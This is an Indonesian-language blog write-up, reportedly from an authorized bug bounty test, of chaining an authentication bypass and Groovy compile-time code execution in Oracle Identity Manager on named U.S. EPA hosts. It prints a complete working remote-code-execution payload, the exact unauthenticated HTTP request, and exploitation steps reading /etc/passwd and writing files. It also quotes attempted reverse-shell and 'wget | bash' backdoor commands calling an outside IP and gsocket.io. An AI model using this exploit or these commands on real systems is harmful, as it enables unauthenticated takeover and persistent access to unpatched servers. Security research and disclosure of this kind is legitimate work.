October 28, 2026
Catatan tentang Penetrasi Keamanan Sistem Oracle Identity Manager di U.S.
Bagian 1: Anatomi Celah β Dua Kelemahan yang Dirangkai

By Dennisius Reki
7 min read
- 1 Catatan tentang Penetrasi Keamanan Sistem Oracle Identity Manager di U.S. Environmental Protection Agency | US EPA
- 2 Bagian 1: Anatomi Celah β Dua Kelemahan yang Dirangkai
- 3 1.1 Kelemahan Pertama: Bypass Autentikasi via Matrix Parameter
- 4 1.2 Kelemahan Kedua: Eksekusi Kode Saat Kompilasi Groovy
- 5 Bagian 2: Anatomi Payload β Bedah Kode Per Bagian
Catatan tentang Penetrasi Keamanan Sistem Oracle Identity Manager di U.S. Environmental Protection Agency | US EPA
Bagian 1: Anatomi Celah β Dua Kelemahan yang Dirangkai
1.1 Kelemahan Pertama: Bypass Autentikasi via Matrix Parameter
Latar belakang sistem: Oracle Identity Manager (OIM) dilindungi oleh komponen yang disebut OWSM (Oracle Web Services Manager). Setiap permintaan yang masuk akan diperiksa oleh SecurityFilter, yaitu sebuah kelas Java yang dikenal dengan nama lengkap oracle.wsm.agent.handler.servlet.SecurityFilter. Berikut cara kerja filter ini: Filter ini memeriksa URI permintaan berdasarkan pola regex:
WADL_PATTERN = Pattern.compile("\\.[wW][aA][dD][lL](.)*\\z");WADL_PATTERN = Pattern.compile("\\.[wW][aA][dD][lL](.)*\\z");Regex ini berarti: "apakah URI diakhiri dengan .wadl (tanpa memperhatikan huruf besar atau kecil), diikuti oleh karakter apa pun?" Logika yang keliru: Jika URI cocok dengan pola ini, filter menganggap permintaan tersebut sebagai permintaan file WADL (Web Application Description Language) β yaitu file deskripsi API yang seharusnya bersifat publik. Akibatnya, filter ini membiarkan permintaan lolos tanpa melakukan pemeriksaan autentikasi sama sekali. Trik parameter matrix: Dalam spesifikasi URI (RFC 3986), tanda titik koma (;) berfungsi sebagai parameter matrix β parameter yang melekat pada segmen path. Contohnya:
/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl ^^^^^^
matrix param/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl ^^^^^^
matrix paramYang terjadi:
- SecurityFilter membaca URI lengkap, melihat akhiran
;.wadlβ cocok dengan regex β loloskan tanpa auth β - JAX-RS runtime (mesin routing di belakang) mem-parse URI, membuang matrix parameter
;.wadl, dan mengarahkan request ke resource asli:groovyscriptstatusβ
Hasilnya adalah permintaan yang berhasil mencapai endpoint yang seharusnya dilindungi, tanpa melalui proses autentikasi sama sekali. Ini adalah inti dari CWE-306 (Missing Authentication for Critical Function).
Perbandingan request:
RequestHasilGET /.../groovyscriptstatusHTTP 401 (dilindungi)POST /.../groovyscriptstatus;.wadlHTTP 200 (lolos!)
1.2 Kelemahan Kedua: Eksekusi Kode Saat Kompilasi Groovy
Fungsi legit dari endpoint:
Endpoint groovyscriptstatus sebenarnya adalah fitur sah OIM untuk memvalidasi sintaks skrip Groovy yang dikirim pengguna. Endpoint ini meng-compile skrip untuk mengecek apakah ada error sintaks, lalu mengembalikan respons:
text
Script Compilation SuccessfulScript Compilation SuccessfulPerhatikan: skrip tidak dijalankan (tidak dieksekusi), hanya dikompilasi.
Celahnya β anotasi @ASTTest:
Groovy memiliki anotasi khusus bernama @ASTTest. Anotasi ini dirancang untuk pengujian β ia menerima sebuah closure (blok kode) yang akan dieksekusi selama fase kompilasi, bukan saat runtime.
groovy
@ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
// KODE DI SINI DIEKSEKUSI SAAT KOMPILASI
})@ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
// KODE DI SINI DIEKSEKUSI SAAT KOMPILASI
})Fase SEMANTIC_ANALYSIS adalah salah satu tahap awal kompilasi. Artinya:
Meskipun skrip "hanya dicek sintaksnya", kode di dalam
@ASTTesttetap berjalan sebagai efek samping kompilasi.
Inilah primitive RCE (Remote Code Execution) yang dimanfaatkan.
Bagian 2: Anatomi Payload β Bedah Kode Per Bagian
Berikut payload lengkap yang digunakan, saya pecah per bagian:
groovy
import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase
class Exploit {
@ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
try {
// [1] Dapatkan thread yang sedang menangani request
def thread = Thread.currentThread()
def execThread = Class.forName("weblogic.work.ExecuteThread").cast(thread)
// [2] Naik ke objek Work (unit kerja WebLogic)
def work = execThread.getClass().getMethod("getCurrentWork").invoke(execThread)
// [3] Ambil connectionHandler dari Work via reflection
def handlerField = work.getClass().getDeclaredField("connectionHandler")
handlerField.setAccessible(true)
def handler = handlerField.get(work)
// [4] Dapatkan HttpServletResponse dari handler
def res = handler.getClass().getMethod("getServletResponse").invoke(handler)
// [5] Dapatkan writer untuk menulis ke response HTTP
def out = res.getWriter()
// [6] Jalankan perintah OS
def process = new ProcessBuilder("/bin/sh", "-c", "COMMAND")
.redirectErrorStream(true).start()
// [7] Baca output proses, tulis ke response
def reader = new BufferedReader(new InputStreamReader(process.getInputStream()))
String line
while ((line = reader.readLine()) != null) {
out.println(line)
}
reader.close()
out.flush()
res.flushBuffer()
} catch (Throwable t) {
try { t.printStackTrace() } catch (Throwable ignored) {}
}
})
def x
}import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase
class Exploit {
@ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
try {
// [1] Dapatkan thread yang sedang menangani request
def thread = Thread.currentThread()
def execThread = Class.forName("weblogic.work.ExecuteThread").cast(thread)
// [2] Naik ke objek Work (unit kerja WebLogic)
def work = execThread.getClass().getMethod("getCurrentWork").invoke(execThread)
// [3] Ambil connectionHandler dari Work via reflection
def handlerField = work.getClass().getDeclaredField("connectionHandler")
handlerField.setAccessible(true)
def handler = handlerField.get(work)
// [4] Dapatkan HttpServletResponse dari handler
def res = handler.getClass().getMethod("getServletResponse").invoke(handler)
// [5] Dapatkan writer untuk menulis ke response HTTP
def out = res.getWriter()
// [6] Jalankan perintah OS
def process = new ProcessBuilder("/bin/sh", "-c", "COMMAND")
.redirectErrorStream(true).start()
// [7] Baca output proses, tulis ke response
def reader = new BufferedReader(new InputStreamReader(process.getInputStream()))
String line
while ((line = reader.readLine()) != null) {
out.println(line)
}
reader.close()
out.flush()
res.flushBuffer()
} catch (Throwable t) {
try { t.printStackTrace() } catch (Throwable ignored) {}
}
})
def x
}Penjelasan tiap langkah:
[1] Mengambil thread saat ini
groovy
def thread = Thread.currentThread()
def execThread = Class.forName("weblogic.work.ExecuteThread").cast(thread)def thread = Thread.currentThread()
def execThread = Class.forName("weblogic.work.ExecuteThread").cast(thread)Saat kompilasi berjalan, kode dieksekusi di dalam thread yang menangani request HTTP. Di WebLogic, thread ini bertipe weblogic.work.ExecuteThread. Kita "menangkap"-nya untuk mengakses konteks request.
[2] Mendapatkan objek Work
groovy
def work = execThread.getClass().getMethod("getCurrentWork").invoke(execThread)def work = execThread.getClass().getMethod("getCurrentWork").invoke(execThread)ExecuteThread menyimpan referensi ke Work β objek yang merepresentasikan satu unit pekerjaan (dalam hal ini, request HTTP yang sedang diproses).
[3] Mengambil connectionHandler via reflection
groovy
def handlerField = work.getClass().getDeclaredField("connectionHandler")
handlerField.setAccessible(true)
def handler = handlerField.get(work)def handlerField = work.getClass().getDeclaredField("connectionHandler")
handlerField.setAccessible(true)
def handler = handlerField.get(work)Field connectionHandler bersifat private, jadi kita paksa aksesnya dengan setAccessible(true). Handler ini adalah jembatan ke objek response HTTP.
[4] Mendapatkan HttpServletResponse
groovy
def res = handler.getClass().getMethod("getServletResponse").invoke(handler)def res = handler.getClass().getMethod("getServletResponse").invoke(handler)Sekarang kita punya akses ke objek response β hal yang sama yang dipakai aplikasi web untuk mengirim balasan ke browser.
[5] Mendapatkan writer
groovy
def out = res.getWriter()def out = res.getWriter()getWriter() memberi kita aliran output ke response HTTP. Apa pun yang kita tulis ke sini akan muncul di body respons yang diterima penyerang.
[6] Menjalankan perintah OS
groovy
def process = new ProcessBuilder("/bin/sh", "-c", "COMMAND")
.redirectErrorStream(true).start()def process = new ProcessBuilder("/bin/sh", "-c", "COMMAND")
.redirectErrorStream(true).start()Ini inti RCE: ProcessBuilder menjalankan shell (/bin/sh) dengan perintah yang kita tentukan. redirectErrorStream(true) menggabungkan stderr ke stdout agar pesan error juga tertangkap.
[7] Membaca output dan mengirim ke response
groovy
def reader = new BufferedReader(new InputStreamReader(process.getInputStream()))
while ((line = reader.readLine()) != null) {
out.println(line)
}def reader = new BufferedReader(new InputStreamReader(process.getInputStream()))
while ((line = reader.readLine()) != null) {
out.println(line)
}Output perintah dibaca baris per baris dan ditulis ke response. Hasilnya: penyerang melihat output perintah langsung di respons HTTP β ini disebut non-blind RCE.
Mengapa class Exploit { ... def x }?
Kelas dan field x hanya "kendaraan" agar anotasi @ASTTest bisa menempel pada sesuatu. Field x tidak pernah dipakai β ia hanya formalitas sintaks Groovy.
Bagian 3: Alur Eksploitasi End-to-End
Berikut urutan langkah yang dilakukan peneliti, dengan penjelasan tiap tahap:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β LANGKAH 1 β Baseline: Konfirmasi endpoint dilindungi β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Request : GET /.../groovyscriptstatus β
β Response: HTTP 401 β
β www-authenticate: Basic realm="owsm" β
β Arti : endpoint memang di belakang OWSM auth β
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β LANGKAH 2 β Uji bypass autentikasi β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Request : POST /.../groovyscriptstatus;.wadl β
β Body : (kosong), Content-Type: application/json β
β Response: HTTP 200 β
β "Script Compilation Successful" β
β Arti : autentikasi terlewati β
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β LANGKAH 3 β Injeksi payload RCE β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Request : POST /.../groovyscriptstatus;.wadl β
β Body : payload Groovy dengan @ASTTest β
β β perintah: cat /etc/passwd β
β Response: HTTP 200 + 50 baris isi /etc/passwd β
β Arti : RCE non-blind terkonfirmasi β
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β LANGKAH 4 β Fingerprinting sistem β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Perintah: id; hostname; uname -a; cat /etc/redhat-release β
β Hasil : uid=4622(oracle) gid=4548(dba) β
β wamappdev1.rtpnc.epa.gov β
β RHEL 9.8, kernel 5.14.0-687 β
β Arti : konteks hak akses tinggi terkonfirmasi β
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β LANGKAH 5 β Bukti arbitrary file write β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Perintah: echo "..." > /usr/opt/oracle/.../oim_domain/ β
β dennis.txt β
β Response: isi file + bukti ls -la β
β Arti : tulis ke direktori domain WebLogic berhasil β
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β LANGKAH 6 β Konfirmasi working directory β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Perintah: pwd β
β Hasil : /usr/opt/oracle/product/OIM_MW_HOME/user_ β
β projects/domains/oim_domain β
β Arti : proses berjalan di direktori domain OIM β
β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β LANGKAH 1 β Baseline: Konfirmasi endpoint dilindungi β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Request : GET /.../groovyscriptstatus β
β Response: HTTP 401 β
β www-authenticate: Basic realm="owsm" β
β Arti : endpoint memang di belakang OWSM auth β
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β LANGKAH 2 β Uji bypass autentikasi β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Request : POST /.../groovyscriptstatus;.wadl β
β Body : (kosong), Content-Type: application/json β
β Response: HTTP 200 β
β "Script Compilation Successful" β
β Arti : autentikasi terlewati β
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β LANGKAH 3 β Injeksi payload RCE β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Request : POST /.../groovyscriptstatus;.wadl β
β Body : payload Groovy dengan @ASTTest β
β β perintah: cat /etc/passwd β
β Response: HTTP 200 + 50 baris isi /etc/passwd β
β Arti : RCE non-blind terkonfirmasi β
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β LANGKAH 4 β Fingerprinting sistem β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Perintah: id; hostname; uname -a; cat /etc/redhat-release β
β Hasil : uid=4622(oracle) gid=4548(dba) β
β wamappdev1.rtpnc.epa.gov β
β RHEL 9.8, kernel 5.14.0-687 β
β Arti : konteks hak akses tinggi terkonfirmasi β
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β LANGKAH 5 β Bukti arbitrary file write β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Perintah: echo "..." > /usr/opt/oracle/.../oim_domain/ β
β dennis.txt β
β Response: isi file + bukti ls -la β
β Arti : tulis ke direktori domain WebLogic berhasil β
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β LANGKAH 6 β Konfirmasi working directory β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Perintah: pwd β
β Hasil : /usr/opt/oracle/product/OIM_MW_HOME/user_ β
β projects/domains/oim_domain β
β Arti : proses berjalan di direktori domain OIM β
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββBagian 4: Detail Penting pada Request HTTP
4.1 Header yang Wajib
text
POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl HTTP/1.1
Host: empdev2.epa.gov
Content-Type: application/json
Content-Length: 1283
Connection: closePOST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl HTTP/1.1
Host: empdev2.epa.gov
Content-Type: application/json
Content-Length: 1283
Connection: closeHeaderFungsiCatatanHostMenunjuk targetDomain yang dieksploitasiContent-Type: application/jsonMemberi tahu tipe bodyWajib β tipe lain (mis. text/plain) menghasilkan HTTP 415 Unsupported Media TypeContent-LengthPanjang bodyDihitung otomatis oleh toolConnection: closeTutup koneksi setelah responsOpsional, untuk kenyamananTidak ada header authβInilah buktinya: tanpa Authorization apa pun
4.2 Mengapa Content-Type Harus application/json?
Endpoint groovyscriptstatus dideklarasikan dengan @Consumes("application/json") dalam kode OIM. Jika Content-Type tidak sesuai, JAX-RS akan menolak permintaan sebelum bisa memproses body-nya, yang menyebabkan munculnya HTTP 415. Jadi, application/json ini bisa dibilang adalah "kunci" agar body bisa sampai ke compiler Groovy.
4.3 Mengapa ;.wadl Ditaruh Tepat Setelah Nama Resource?
Posisi ;.wadl harus menempel pada segmen path terakhir (setelah groovyscriptstatus, bukan setelah /applications). Alasannya:
- SecurityFilter memeriksa akhiran URI keseluruhan β
;.wadldi mana pun di akhir akan cocok. - Tapi JAX-RS mem-parse matrix parameter per segmen. Menaruhnya setelah nama resource memastikan routing tetap menemukan resource
groovyscriptstatus.
Jika ditaruh di tempat lain (mis. /applications;.wadl/groovyscriptstatus), routing bisa gagal karena segmen applications menjadi tidak valid.
Bagian 5: Mengapa Teknik Ini Sangat Efektif?
5.1 Non-Blind RCE β Output Langsung Terlihat
Karena payload menulis output langsung ke HttpServletResponse, penyerang dapat dengan mudah melihat hasil dari perintah yang dieksekusi dalam respons HTTP. Ini berarti mereka tidak perlu lagi menggunakan saluran terpisah seperti DNS exfiltration atau reverse shell. Dengan cara ini, proses eksploitasi menjadi lebih cepat, andal, dan sangat mudah untuk diotomasi.
5.2 Pre-Authentication β Tanpa Kredensial
Tidak perlu membuat akun, tidak perlu token, dan tidak perlu sesi. Cukup dengan akses jaringan ke host. Inilah alasan mengapa CVSS-nya mencapai 9.8 (hampir maksimal) β AV:N/AC:L/PR:N/UI:N semuanya berada di level terburuk.
5.3 Eksekusi Saat Kompilasi β Sulit Dideteksi
Karena kode dieksekusi saat fase kompilasi (bukan saat aplikasi berjalan), banyak mekanisme pemantauan runtime, seperti agen yang mengawasi eksekusi metode aplikasi, bisa terlewatkan. Eksekusi ini berlangsung di dalam proses kompilasi Groovy β sebuah jalur yang jarang mendapatkan perhatian.
5.4 Hak Akses Tinggi β Efek Domino
Proses berjalan sebagai oracle yang anggota dba dan oinstall. Artinya penyerang bisa:
- Mengakses database Oracle
- Membaca keystore dan kredensial OIM
- Mengubah konfigurasi domain WebLogic
- Berpotensi bergerak lateral ke sistem terhubung
Bagian 6: Mengapa Pertahanan Jaringan EPA Tetap Efektif
Meski celahnya kritis, beberapa kontrol bertahan berhasil menggagalkan upaya lanjutan:
6.1 Egress Filtering β Reverse Shell Gagal
text
Percobaan: perl β connect ke 103.160.213.64:1337 β sh -i
Hasil : TCP PROBE_CLOSED β port 1337 difilterPercobaan: perl β connect ke 103.160.213.64:1337 β sh -i
Hasil : TCP PROBE_CLOSED β port 1337 difilterJaringan EPA memblokir koneksi keluar ke port non-standar. Proses Perl sempat berjalan, tapi tidak ada koneksi balik yang terbentuk. Ini mencegah penyerang membangun "pintu belakang" interaktif.
6.2 DNS Sinkhole β Backdoor gsocket Gagal
text
Percobaan: wget -O- https://gsocket.io/y | bash
Hasil : gsocket.io resolve ke 0.0.0.0 / :: (sinkhole)Percobaan: wget -O- https://gsocket.io/y | bash
Hasil : gsocket.io resolve ke 0.0.0.0 / :: (sinkhole)Infrastruktur domain untuk terowongan rahasia (covert tunnel) diarahkan ke alamat yang tidak terpakai. Penyerang tidak berhasil mengunduh binary backdoor. Setelah percobaan, verifikasi menunjukkan bahwa tidak ada proses, binary, atau entri cron yang tersisa.
6.3 Pelajaran Penting
Celah aplikasi (RCE) dan pertahanan jaringan itu sebenarnya adalah dua lapisan yang berbeda. Ketika RCE berhasil menembus aplikasi, egress filtering dan DNS sinkhole berperan penting dalam membatasi dampak yang bisa ditimbulkan. Ini menegaskan betapa pentingnya pendekatan defense in depth β meskipun satu lapisan bisa jebol, lapisan lainnya tetap berfungsi untuk melindungi.
Bagian 7: Ringkasan Alur Serangan dalam Satu Diagram
text
PENYERANG (tanpa kredensial)
β
β POST /.../groovyscriptstatus;.wadl
β Content-Type: application/json
β Body: payload @ASTTest
βΌ
ββββββββββββββββββββββββββββββββββββ
β OWSM SecurityFilter β
β Cek regex \.wadl$ β COCOK β
β β LOLOSKAN tanpa auth β
β
ββββββββββββββββββββββββββββββββββββ
β
βΌ
ββββββββββββββββββββββββββββββββββββ
β JAX-RS Router β
β Buang matrix param ;.wadl β
β β Route ke groovyscriptstatus β
ββββββββββββββββββββββββββββββββββββ
β
βΌ
ββββββββββββββββββββββββββββββββββββ
β Groovy Compiler β
β Compile script β @ASTTest β
β dieksekusi di fase SEMANTIC β
β
ββββββββββββββββββββββββββββββββββββ
β
βΌ
ββββββββββββββββββββββββββββββββββββ
β ProcessBuilder β /bin/sh -c ... β
β Output β HttpServletResponse β
ββββββββββββββββββββββββββββββββββββ
β
βΌ
PENYERANG MENERIMA OUTPUT PERINTAH
(non-blind RCE, pre-auth)PENYERANG (tanpa kredensial)
β
β POST /.../groovyscriptstatus;.wadl
β Content-Type: application/json
β Body: payload @ASTTest
βΌ
ββββββββββββββββββββββββββββββββββββ
β OWSM SecurityFilter β
β Cek regex \.wadl$ β COCOK β
β β LOLOSKAN tanpa auth β
β
ββββββββββββββββββββββββββββββββββββ
β
βΌ
ββββββββββββββββββββββββββββββββββββ
β JAX-RS Router β
β Buang matrix param ;.wadl β
β β Route ke groovyscriptstatus β
ββββββββββββββββββββββββββββββββββββ
β
βΌ
ββββββββββββββββββββββββββββββββββββ
β Groovy Compiler β
β Compile script β @ASTTest β
β dieksekusi di fase SEMANTIC β
β
ββββββββββββββββββββββββββββββββββββ
β
βΌ
ββββββββββββββββββββββββββββββββββββ
β ProcessBuilder β /bin/sh -c ... β
β Output β HttpServletResponse β
ββββββββββββββββββββββββββββββββββββ
β
βΌ
PENYERANG MENERIMA OUTPUT PERINTAH
(non-blind RCE, pre-auth)Bagian 8: Catatan Etis dan Legal
Semua teknik di atas dijelaskan untuk tujuan edukasi dan pertahanan. Eksploitasi dalam laporan ini dilakukan dalam kerangka authorized security assessment (pengujian keamanan yang sah) melalui program Bugcrowd EPA, dengan batasan:
- Hanya eksekusi perintah baca-saja (
cat,id,uname,pwd) - Penulisan file terkendali (
dennis.txt) sebagai bukti konsep, dengan catatan penghapusan - Tidak ada pencurian data, tindakan destruktif, atau persistensi
- Upaya reverse shell dan backdoor hanya untuk memvalidasi efektivitas kontrol pertahanan, bukan untuk benar-benar memasang akses
Menerapkan teknik ini pada sistem tanpa izin tertulis adalah tindakan ilegal di hampir semua yurisdiksi, termasuk Indonesia (UU ITE) dan Amerika Serikat (CFAA).
Ringkasan Satu Paragraf
CVE-2025β61757 adalah kombinasi dari dua kelemahan: (1) bypass autentikasi yang terjadi karena SecurityFilter OWSM salah mengidentifikasi URI yang diakhiri dengan .wadl sebagai sumber daya publik, dan (2) eksekusi kode saat kompilasi yang disebabkan oleh anotasi @ASTTest Groovy yang menjalankan closure-nya pada fase SEMANTIC_ANALYSIS, bukan saat runtime. Payload ini memanfaatkan reflection untuk menangkap thread WebLogic, mengambil HttpServletResponse, menjalankan perintah melalui ProcessBuilder, dan menulis output langsung ke respons HTTP β yang menghasilkan RCE non-blind pra-autentikasi dengan hak akses oracle:dba.